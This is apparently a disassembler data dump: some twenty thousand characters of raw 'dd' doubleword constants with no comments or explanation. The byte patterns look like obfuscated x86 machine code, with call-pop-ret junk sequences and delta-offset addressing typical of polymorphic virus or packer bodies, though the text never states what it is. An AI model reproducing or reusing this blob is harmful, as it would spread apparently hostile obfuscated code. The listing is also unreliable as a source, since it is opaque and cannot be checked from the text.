		dd 0EB816A26h, 0CE8A49Bh, 301195FFh, 6A07E0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9E946BC3h
		dd 0A1999C21h, 8B0178D7h, 0E3CBA1B5h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 4E25FE57h, 8B66A5C7h, 0D1858BFAh, 8107E022h,	6BFFE3E7h
		dd 0C486891Bh, 80000000h, 958B34D3h, 7E01815h, 0C75951BFh
		dd 4C28371h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0DC35141h, 0CA8B7D9Bh, 958903CDh, 7E02D25h, 88DB529h
		dd 508907E0h, 0DB816620h, 858DEB90h, 7E3E0D4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DAC35747h, 553D1D8h
		dd 0BD8B8275h, 7E021E1h, 0B88689h, 6A0000h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DEC35242h, 0E53180BCh
		dd 0B5FFFE8Bh, 7E3CBADh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 6C35646h, 0BD957ACAh,	5E960h,	665D0000h
		dd 0E8B96606h, 0Ch, 362BBC37h, 75D45FE6h, 0BC2251BBh, 71615AB8h
		dd 0FF615F10h, 0E02A9995h, 0CF816607h, 8B5019A3h, 243489DAh
		dd 0B5FFD98Bh, 7E3CBADh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0E6C35343h, 28E995FFh, 6A07E0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 8DFCCC3h, 0F4B10E0Ch, 18BD8589h, 0BD8307E0h,	7E028E1h
		dd 41840F00h, 89000000h, 0E00589B5h, 7E89607h, 15000000h
		dd 2EF20BD4h, 0FE8C44Ah, 3B000000h, 0F35E6F3Fh,	2E070E8Ah
		dd 0C9C01385h, 0DE8B6D3Fh, 66505F5Bh, 96550BBBh, 9E8h
		dd 3A88D400h, 0DF5D5B74h, 5BF9D093h, 0CBADB5FFh, 6A07E3h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 8BE8CEC3h, 8B12FC17h, 0E018919Dh, 3595FF07h,	6A07E030h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0E4F1C356h, 0A2BC60FDh, 5E5DA888h, 0CBADB5FFh
		dd 95FF07E3h, 7E001B9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 8DC35040h, 4A8FD7DEh,	0BF663D6Bh, 0BD83BC80h
		dd 7E00731h, 44840F02h,	8B000000h, 0E014AD9Dh, 2CD38107h
		dd 8B70CD52h, 0E0203985h, 57D88B07h, 0CDBD8B60h, 8907E01Fh
		dd 0E01AE5BDh, 0C65F6107h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0C7C3E5C3h
		dd 0E0043D85h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 1584AE97h, 43875BD6h
		dd 0BE939h, 9DDD0000h, 0CF886F59h, 0E6BF9E6Ah, 0F382E946h
		dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 67A6B7C3h, 56EE2050h, 810F92DFh, 0
		dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 7C497C3h,	4B8361F4h, 8A87CB81h, 858D25E3h
		dd 7E013C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	16C35747h, 8DAE5E10h, 95891306h, 7E01C05h, 0FE8B6650h
		dd 8B240489h, 6A006AFBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 325BC357h, 9589DA8Bh
		dd 7E0058Dh, 8166006Ah,	8064B5EFh, 858D74E7h, 7E49247h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 70C35141h
		dd 83ED6672h, 0F9005C0h, 38Ch, 0DE8B6600h, 5850F50h, 0BB000000h
		dd 20E15EB8h, 81006A90h, 0AC09BDE7h, 0BF006A27h, 3CC7E7FDh
		dd 344195FFh, 890F07E0h, 6, 315DB529h, 8D8D07E0h, 7E3A393h
		dd 2880F60h, 8B000000h,	10E9D0h, 0F2420000h, 7B31DEDFh
		dd 305DD2B4h, 40211A2Bh, 0FF617585h, 52006AD1h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0C1618283h
		dd 799D0143h, 8307E010h, 0E016B1BDh, 850F0107h,	6Fh, 0CE9h
		dd 0CFE8E200h, 0B20379CAh, 96AC0A2Eh, 6A026A84h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0BA8BC351h, 0E5E0B3C3h, 27A1C94Ah, 5B5750F8h, 0E9240489h
		dd 0Ah,	0EC00CA84h, 9E521DAFh, 95FF9917h, 7E02A99h, 11E9h
		dd 0A71E0000h, 0E34E49E0h, 0DDCFF130h, 9212217Ch, 0C1BF4C54h
		dd 0E91D8941h, 0DF7h, 0E8h, 0ED815D00h,	7E49251h, 268D9D89h
		dd 9D8907E0h, 7E0260Dh,	9463858Dh, 6A07E3h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 587421C3h
		dd 30658D89h, 50FC07E0h, 0CCA0A8BFh, 24048901h,	0B9CFCDBFh
		dd 35FF647Dh, 0
aInRDi		db '‰',9,9,'à',7,'d‰%',0
		align 4
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0D1015957h, 0B3A39FAh, 89515768h, 0E0345D9Dh
		dd 0FF5B5B07h, 0E020FD85h, 79958907h, 6A07E02Ah, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0C58D67F9h, 0AEFF6E19h, 8B66555Ch, 0DDB5FFD9h, 0F507E020h
		dd 338995FFh, 19E907E0h, 29000001h, 0E0208595h,	8900B007h
		dd 0E026518Dh, 8170E607h, 3B1BDCD7h, 0F71E47Dh,	0C80h
		dd 68B0F00h, 8B000000h,	0E000D9BDh, 0F613C07h, 0E783h
		dd 0B19D8B00h, 0F07E005h, 0AE9C8B6h, 0B000000h,	85B1218Dh
		dd 0FBBDF06Ch, 6BA66h, 95890000h, 7E00DF9h, 0E860C18Bh
		dd 9, 0BFA4B4B5h, 0DA2375ACh, 0F08B66BFh, 0A5B96658h, 0E8C1612Ch
		dd 2DBB6604h, 81666091h, 89ACA0D3h, 0E021E185h,	0F7666107h
		dd 519D8BE2h, 2B07E02Ch, 0C38166C8h, 0D18BCC39h, 130D8529h
		dd 5E907E0h, 0BF000000h, 509981E9h, 8B1858Bh, 8D0907E0h
		dd 7E02D2Dh, 8907C083h,	0E031859Dh, 0C08307h, 108D9D89h
		dd 0D03B07E0h, 7830Fh, 49E90000h, 0B7000000h, 1D8D8B71h
		dd 0F07E01Bh, 481h, 61605700h, 68A0F5Bh, 33000000h, 0E02B6D9Dh
		dd 1E18307h, 22840Fh, 9D030000h, 7E010C1h, 1B1DA583h, 66FE07E0h
		dd 89FE98BBh, 0E008B195h, 0F2D78107h, 0E9325B12h, 0
		dd 1741B58Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 8B310EC3h, 94FD70AEh, 800F86F8h
		dd 6, 11F1BD8Bh, 9D8B07E0h, 7E01D39h, 0FFF8006Ah, 0E018A995h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 78DC19B3h, 1DBD03CCh, 8907E01Dh,	0E01AE5B5h
		dd 8A2B907h, 82BB0000h,	831F283Ch, 6AFCE1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 9D89C6C3h
		dd 94D8276Dh, 0EDBD8B15h, 0FC07E02Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0D0C35040h,	0BD8B51F7h, 7E03199h
		dd 6860F5Bh, 8B000000h,	0E015819Dh, 0D59D2B07h,	0B807E031h
		dd 0
		dd 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0C0D249C3h, 120AACDEh, 33ADC28Dh,	3E8D1C2h
		dd 4E983D0h, 0BD03F475h, 7E00661h, 880Dh, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0AC22A18Ah, 5287B46Eh, 0CD9D8B90h, 8B07E033h, 0E0181595h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 9560EC43h, 7575B66Bh, 5E972h, 0E61F0000h
		dd 89E53226h, 0E02E2D8Dh, 498D8B07h, 8B07E020h,	0C28B50FBh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0D879C357h, 9593B2A6h, 0BD8B54DCh, 7E03455h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B2C35343h, 62A14A4Dh
		dd 0FAB37DD3h, 1800Fh, 29FC0000h, 0E0088DBDh, 0F5BD8307h
		dd 7E012h, 8A840Fh, 95890000h, 7E01DADh, 0B8FCh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 3C70E7C3h, 66B69EE3h, 7CD3EF81h, 4EE88D8Dh, 6A07E0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E99D87C3h, 12h, 7EDF5284h, 0E5D8CE2Fh, 0C31278F2h
		dd 737A608Bh, 0C3818490h, 18A45130h, 11E9E1FFh,	78000000h
		dd 16FB0D2Ch, 7441CB3Bh, 0FB6E5D38h, 0E2BE23F9h, 22C5BD83h
		dd 0F0007E0h, 4D284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 897A56E3h, 0C5BD8319h
		dd 107E022h, 4C0840Fh, 83F80000h, 0E022C5BDh, 860F0307h
		dd 47Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 18h,	0C8C35646h, 8654FC81h, 75958960h, 8907E034h, 0E0193185h
		dd 850F6107h, 0Bh, 6E9h, 63CCA800h, 603594B8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DAC35646h, 75AF147Ch
		dd 66FCDEA4h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0B5419AC3h, 0BD8B388Fh, 7E00855h
		dd 6A04E180h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 6580C353h, 76F93479h, 0FC90A3Ch
		dd 18A84h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 747FEBE6h, 21B509CEh, 8B07E00Eh
		dd 0E01B759Dh, 99858B07h, 3107E033h, 0E01689BDh, 89853307h
		dd 6A07E031h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 5245C350h, 91323AD6h, 812F957Ch
		dd 826B32CBh, 50605057h, 12E852h, 0D24B0000h, 8DDA395Ah
		dd 0CAB3CDFAh, 4BB03B65h, 0EC02F2D7h, 50310F5Fh, 5A310F52h
		dd 0F585A58h, 583h, 0F84ABA00h,	89616BC9h, 6A2404h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0BEC291C3h, 0F99A6AF3h, 9D8BD6ECh, 7E01A01h,	0BD09006Ah
		dd 7E01911h, 4E8h, 1F03FF00h, 10E900h, 0B18D0000h, 75F730B9h
		dd 55EDC8FCh, 88082B2Eh, 6650786Eh, 448BDF8Bh, 83B30424h
		dd 0BB66008Bh, 4489FABEh, 0F88B0424h, 558D0958h, 0FF07E014h
		dd 0E021CD95h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BB66E475h, 8589FEDAh
		dd 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0C2C35141h, 41D9F56Bh, 2810Fh, 95B30000h, 0C9E95AB3h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0FB60C353h, 999D8BFBh,	8B07E00Fh
		dd 0E3CBA585h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 9401D2B0h, 7D8D31ECh
		dd 0C707E004h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 3BC27CA8h, 0E0BF48C7h
		dd 0BB66C531h, 0B58B1C06h, 7E3CBA9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0C8C35040h,	8E9E0h,	8AC80000h
		dd 98331175h, 0BD8B73B8h, 7E01571h, 5F9858Bh, 816607E0h
		dd 89CABCCBh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8B0E6854h, 0E0339985h, 0AD9D8B07h
		dd 8907E02Dh, 0EB810446h, 1F52EE70h, 4890F50h, 66000000h
		dd 89ADADBBh, 9D8B2434h, 7E02129h, 85896060h, 7E01011h
		dd 68B0F61h, 0F000000h,	83h, 0B5FF6100h, 7E3CBA5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0ABC35040h, 0A79C2721h
		dd 68CAB35Eh, 0B6EF48C6h, 48D0F60h, 66000000h, 0E92CF5BEh
		dd 14h,	0B06746F0h, 0BED227C7h,	94733E83h, 0B9B1346h, 0CEB9772Bh
		dd 24048161h, 492FBB39h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 1EC35646h, 673CD488h,	2D7DDD96h, 0AD858DAEh
		dd 6607E3CBh, 0CFD0EF81h, 3692BB50h, 4892B31h, 698D0924h
		dd 8907E008h, 0E01B09BDh, 0CD95FF07h, 0BF07E021h, 1359A8A4h
		dd 0B59D8B61h, 0C707E015h, 0E022C585h, 307h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 54A7423Eh, 293125C3h, 0E0063995h, 0ADBD8307h, 7E3CBh
		dd 4E840Fh, 0FE90000h, 0DF000000h, 34538A76h, 6630C2DBh
		dd 0F96735B3h, 50E9A777h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E81CC351h
		dd 2935BD29h, 0BD8B07E0h, 7E0129Dh, 6860Fh, 0BD8B0000h
		dd 7E005A5h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 6090C352h, 18F69FC9h, 1519CF3h
		dd 0E0306DB5h, 0BD835B07h, 7E022C5h, 0F2850F03h, 6A000003h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 6DC6C355h, 0BD830FA2h, 7E3CBADh, 0C6840F00h
		dd 66000003h, 0FFC4D8BFh, 0E3CBADB5h, 0A995FF07h, 8907E01Dh
		dd 0E01C5185h, 0A1B58B07h, 3107E3CBh, 0E0261185h, 106C707h
		dd 81000100h, 0DC3B94F3h, 50509662h, 0E9310F52h, 7, 7798089Bh
		dd 5A74837Ch, 6A9658h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 84BBB2C3h, 0CBADB5FFh, 6A07E3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 95DB3DC3h, 52323534h, 0FFF55D2Dh, 0E0301195h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 7BB15F29h, 0BF0F0334h, 59D03FBh, 8907E017h, 0E012F99Dh
		dd 0A1B58B07h, 0E907E3CBh, 10h,	7D61A699h, 3E81FA89h, 80272561h
		dd 432EFDB2h, 22D1858Bh, 9D8B07E0h, 7E02B29h, 0C48689h
		dd 81660000h, 8B578DCFh, 0E0181595h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 344AFE22h
		dd 18798589h, 0C28307E0h, 68A0F04h, 29000000h, 0E01FC1BDh
		dd 20508907h, 16899D01h, 858D07E0h, 7E3E0D4h, 8689F88Bh
		dd 0B8h, 2AA1BD01h, 6A07E0h, 8B66DA8Bh,	0ADB5FFFBh, 6A07E3CBh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0F77AC351h, 89F5CB3Fh, 0E0122995h, 9995FF07h
		dd 107E02Ah, 0E031BDBDh, 8B669607h, 8B6650F9h, 0AE996FAh
		dd 0D3000000h, 16D9901Eh, 8E5E70F9h, 0ADB5FFC1h, 6A07E3CBh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 1D35C353h, 5A6D0E90h, 8DBD8BF5h, 0FF07E025h
		dd 0E028E995h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0B4A933D0h, 0A6017478h
		dd 0D4CB8166h, 0F506072h, 84h, 83615F00h, 0E028E1BDh, 840F0007h
		dd 75h,	11E8h, 3175AA00h, 0AD5F7540h, 69A43E7Ah, 0FC473DEEh
		dd 0BD8B48A2h, 7E01951h, 13E95Bh, 4E820000h, 79A5F166h
		dd 8B23F4h, 7E6C4BE7h, 4457EB9Eh, 8A605015h, 0CE8FEh, 22760000h
		dd 29C14BBh, 7FDA63E6h,	0CE8B1AADh, 3489615Ah, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0AE28350Ah, 296141BBh, 0ADB5FF3Bh, 6A07E3CBh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 1107C357h, 0FFFCD8CDh, 0E0303595h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0B5891E89h, 7E010C5h, 0FFC8D380h, 0E3CBADB5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 4ECE8D66h, 38D0F9Ah,	66000000h, 0EE9DF8Bh, 49000000h
		dd 58374305h, 35101395h, 0FB609246h, 0B995FFFBh, 0B307E001h
		dd 31BD8303h, 207E007h,	5E840Fh, 8B0F0000h, 15h, 10E9h
		dd 44656D00h, 5403DB23h, 42A3677Fh, 0BA2A78DAh,	0F5BF514Ch
		dd 5F137697h, 2039858Bh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0C9DC18C3h, 0B18D8933h
		dd 3307E018h, 0E02FDD9Dh, 0C607h, 659D0956h, 5B07E020h
		dd 43D85C7h, 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0BA3FA0C3h, 0F914460Fh
		dd 8B362F96h, 0E02FED9Dh, 0F2D5E907h, 8BF8FFFFh, 55006AC1h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0BC68A25Ch, 1D3D3CEAh, 89BFC628h, 8D3455FBh,	0E013C985h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BF0F8D72h, 0DB350F8h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 316CC357h, 6A818739h, 0D9BF0F00h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0DD3C8AC3h
		dd 29E0845Bh, 0E0264DB5h, 20858D07h, 6607E4A2h,	62D9DF81h
		dd 6605C083h, 2699D781h, 89F88A50h, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 28F91EC3h
		dd 0B589E142h, 7E02535h, 2810Fh, 5F560000h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 4375CCC3h, 6AF90FA7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 43D4AD69h, 6677E274h
		dd 25D59D8Bh, 95FF07E0h, 7E03441h, 0ABA810BBh, 938D8D1Fh
		dd 0F07E3A3h, 68Bh, 5B50100h, 0FF07E031h, 0E78166D1h, 0BD8342D3h
		dd 7E016B1h, 9D850F01h,	66000000h, 26AFA8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B8C35545h, 0AD82975Ah
		dd 53A3867Fh, 11E97Fh, 0D54C0000h, 53B9D2D8h, 5304E6ADh
		dd 0D00F74CEh, 8B4D4E0Bh, 0E00F99BDh, 57529007h, 5F5FDA8Bh
		dd 9030B350h, 200D9D8Bh, 95FF07E0h, 7E02A99h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h, 0B2F8B072h
		dd 0BD8BEF85h, 7E02A31h, 0CE8h,	2222700h, 0D46F953Ch, 9C45185h
		dd 820F21h, 5F000000h, 0D62E9h,	0E800h,	815D0000h, 0E4A22AEDh
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 53CAC985h, 6AFC74h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0F781E5C3h, 25256F0Ch
		dd 817111E3h, 0BA847FF7h, 63858D13h, 8907E394h,	0E018B185h
		dd 0BB669007h, 8A504F8Fh, 0BF6690F8h, 0FF64A347h, 35h
		dd 3D9D2900h, 6407E023h, 2589h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 377A5CC3h
		dd 9B619C89h, 0E9BBAB91h, 10h, 0B1F2947Fh, 4948A1B0h, 6C4F38E6h
		dd 0F6829602h, 20FD85FFh, 9D0307E0h, 7E01BD5h, 0EF80FF6Ah
		dd 5DB5FF3Ch, 0E907E008h, 12h, 0DFEA313Fh, 33202BC6h, 4A11FA79h
		dd 9026A47Dh, 95FF9531h, 7E03389h, 100E9h, 6E900h, 70DC0000h
		dd 0B8A5B69Bh, 852900B0h, 7E01BF1h, 0E78170E6h,	8886EB7h
		dd 0F78171E4h, 2375B2C5h, 830F613Ch, 0D5h, 0F9FBB70Fh
		dd 8BC8B60Fh, 0E0135D9Dh, 6BA07h, 8BFC0000h, 0EE9C1h, 6C9E0000h
		dd 38961863h, 5BD92F9Fh, 3340FF40h, 2904E8C1h, 0E0238D95h
		dd 0DB816607h, 0F7661EFEh, 0FCD88BE2h, 0BF66C82Bh, 0D18BFE16h
		dd 1E95F56h, 0FC000000h, 317D858Bh, 9D8B07E0h, 7E0131Dh
		dd 0F07C083h, 687h, 58D38100h, 831E83DBh, 0D03B00C0h, 1A830Fh
		dd 0BF0F0000h, 5BE9DBh,	0DE90000h, 26000000h, 5995BE8Ch
		dd 0EFD354F7h, 75830B53h, 1E018D8Bh, 9D8B07E0h,	7E02899h
		dd 0F01E183h, 3484h, 0CE800h, 0C1810000h, 2019DF63h, 91A5D951h
		dd 8D893F8Dh, 7E01031h,	1A5835Bh, 0FE07E01Eh, 0D9D9BF66h
		dd 317D9589h, 0BD8907E0h, 7E01B75h, 0E9h, 10B58D00h, 6A07E422h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0A4DCC351h, 31872927h, 6A9EC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h, 0AAA30FDDh
		dd 0ADBD8B02h, 0BB07E007h, 370E8E46h, 18A995FFh, 6A07E0h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 9D03F2C3h, 5CB9B72Fh, 0F8000007h, 6AFCE183h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0F920C350h, 0F91BD8Bh, 6AFC07E0h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F067C351h
		dd 2B0A26EEh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 97408328h, 1215B68h, 0E030A9B5h
		dd 8BD22B07h, 0C233ADF8h, 0D003E8D1h, 7504E983h, 52006AF4h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0F657DD60h, 64C426A0h, 0FFB70FB4h, 14A59589h, 880D07E0h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0FD6AC357h, 8BA5B3D6h,	0E0181595h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 9D8B2E36h, 7E00209h, 20E5BD8Bh, 8D8B07E0h
		dd 7E02049h, 28819D09h,	8B5007E0h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0ACC35040h, 0AAFF8A4Ah, 7E5D08C6h, 0C8F0Fh
		dd 870F0000h, 6, 23E59529h, 9D8907E0h, 7E00F45h, 836AEF80h
		dd 0E012F5BDh, 840F0007h, 41h, 8E9h, 88982300h,	1066BF1Eh
		dd 0FD9D890Eh, 0B807E01Fh, 0
		dd 1525B9BBh, 8D8DFC24h, 7E04EE8h, 0F4F838BBh, 69BD8B69h
		dd 0FF07E02Fh, 0F1B529E1h, 0F07E00Dh, 481h, 0A9BF6600h
		dd 0C5BD83EBh, 7E022h, 44C840Fh, 83F50000h, 0E022C5BDh
		dd 840F0107h, 459h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 48C35646h, 5C51CD80h,	27CC0C06h, 22C5BD83h
		dd 0F0307E0h, 3F286h, 918D8900h, 6007E000h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FEC35747h, 0DE99A394h
		dd 66FE8B66h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0FEC60C3h, 0E8A7ECD8h, 0Ah, 5263DE41h
		dd 28448C54h, 8166A3E7h, 5F6A35F3h, 0E804E180h,	0Dh, 8BDF051Dh
		dd 0BEF5BE6Ch, 9C4B37DCh, 13E8ABh, 9A620000h, 0F8638C01h
		dd 0F782716Fh, 70A5FED7h, 355E596Ah, 346CBF24h,	5F5B5645h
		dd 840FC90Ah, 104h, 99858BF8h, 6A07E033h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0B450C351h
		dd 0A577B7D1h, 8166BCAFh, 334B55DFh, 0E0318985h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 3F7E6F5Fh, 9D8956C8h, 7E00641h, 0FA8B6650h, 0F240489h
		dd 58Bh, 0F3816600h, 6ABB6Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D9C35545h,	9DD7ECE8h, 6880F60h
		dd 89000000h, 0E02AA19Dh, 0F1B70F07h, 0B0A96861h, 860FB845h
		dd 4, 5F616056h, 56240481h, 6A47D953h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0B0ABC355h
		dd 7E075EDBh, 95BD8B87h, 0FF07E033h, 0E021CD95h, 0FFB70F07h
		dd 0CBAD8589h, 8D8907E3h, 7E01BF9h, 46F38166h, 1D7E92Eh
		dd 95290000h, 7E03031h,	0CBA5858Bh, 9D8907E3h, 7E01A61h
		dd 1800C7h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8B0F2EC3h, 0Eh, 0A19D8960h, 8907E005h
		dd 0E012099Dh, 0B58B6107h, 7E3CBA9h, 858BDC8Ah,	7E005F9h
		dd 689FE8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	6EC35646h, 0FE823h, 0C7A30000h,	565A01A0h, 2EF7E3A3h
		dd 0DA3AAEF5h, 7D9589C0h, 5F07E015h, 9D016060h,	7E03469h
		dd 1A49958Bh, 36107E0h,	0E022ED8Dh, 858B6107h, 7E03399h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h
